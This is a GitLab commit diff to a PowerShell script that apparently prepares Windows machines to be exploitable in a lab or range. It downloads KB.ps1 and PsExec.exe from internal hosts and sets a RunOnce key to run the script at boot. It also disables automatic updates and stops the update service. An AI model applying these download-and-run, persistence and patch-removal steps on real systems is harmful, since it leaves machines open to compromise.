UNCLASSIFIED

Skip to content
Snippets Groups Projects
Commit 6ea21e35 authored by Daniel Poulin's avatar Daniel Poulin
Browse files

Update win2_nix3.ps1

parent 28ec19d4
No related merge requests found
......@@ -26,9 +26,9 @@
# ----- UNINSTALLS KBs FOR EXPLOITATION
Invoke-WebRequest -Uri "10.50.20.181/linux/KB.ps1" -OutFile "C:\KB.ps1"
(new-object Net.WebClient).DownloadFile( "http://10.50.21.12/linux/KB.ps1", "C:\KB.ps1" )
(new-object Net.WebClient).DownloadFile( "http://10.50.20.181/linux/KB.ps1", "C:\KB.ps1" )
Invoke-WebRequest -Uri "10.50.20.181/windows/.hidden/TTW/PsExec.exe" -OutFile "C:\PsExec.exe"
(new-object Net.WebClient).DownloadFile( "http://10.50.21.12/windows/.hidden/TTW/PsExec.exe", "C:\PsExec.exe" )
(new-object Net.WebClient).DownloadFile( "http://10.50.20.181/windows/.hidden/TTW/PsExec.exe", "C:\PsExec.exe" )
Set-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -name "KB" 'C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -sta -File "C:\KB.ps1"'
New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" -Name AUOptions -Value 1 -PropertyType Dword | Out-Null
get-service wuauserv | stop-service -Force
......
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment